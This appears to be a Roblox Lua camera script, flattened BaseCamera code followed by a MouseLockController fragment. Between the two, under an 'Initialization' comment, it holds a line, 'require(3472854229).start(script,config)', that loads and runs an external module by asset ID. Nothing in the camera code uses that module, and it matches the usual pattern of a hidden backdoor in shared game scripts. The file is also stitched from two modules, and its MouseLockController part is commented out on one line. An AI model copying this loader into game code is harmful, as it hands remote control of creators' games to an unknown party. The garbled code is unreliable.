self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end self:OnPlayerCameraPropertyChange() return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil if UserInputService.TouchEnabled then self.PlayerGui = player:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart() if not self.humanoidRootPart then if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid, isDead) -- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid if humanoid:GetState() == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character and character:IsA("Model") then return character:FindFirstChild("Head") or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectPosition() local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectPosition else local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET if bodyPartToFollow == humanoid.RootPart then local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2) heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() if self.portraitMode then self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) else self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
--/ Initialization /--
require(3472854229).start(script,config)
--[[ Local Functions ]]
-- function MouseLockController:OnMouseLockToggled() self.isMouseLocked = not self.isMouseLocked if self.isMouseLocked then local cursorImageValueObj = script:FindFirstChild("CursorImage") if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then self.savedMouseCursor = Mouse.Icon Mouse.Icon = cursorImageValueObj.Value else if cursorImageValueObj then cursorImageValueObj:Destroy() end cursorImageValueObj = Instance.new("StringValue") cursorImageValueObj.Name = "CursorImage" cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR cursorImageValueObj.Parent = script self.savedMouseCursor = Mouse.Icon Mouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR end else if self.savedMouseCursor then Mouse.Icon = self.savedMouseCursor self.savedMouseCursor = nil end end self.mouseLockToggledEvent:Fire() end function MouseLockController:DoMouseLockSwitch(name, state, input) if state == Enum.UserInputState.Begin then self:OnMouseLockToggled() return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function MouseLockController:BindContextActions() ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input) return self:DoMouseLockSwitch(name, state, input) end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys)) end function MouseLockController:UnbindContextActions() ContextActionService:UnbindAction(CONTEXT_ACTION_NAME) end function MouseLockController:IsMouseLocked() return self.enabled and self.isMouseLocked end function MouseLockController:EnableMouseLock(enable) if enable ~= self.enabled then self.enabled = enable if self.enabled then -- Enabling the mode self:BindContextActions() else -- Disabling -- Restore mouse cursor if Mouse.Icon~="" then Mouse.Icon = "" end self:UnbindContextActions() -- If the mode is disabled while being used, fire the event to toggle it off if self.isMouseLocked then self.mouseLockToggledEvent:Fire() end self.isMouseLocked = false end end end return MouseLockController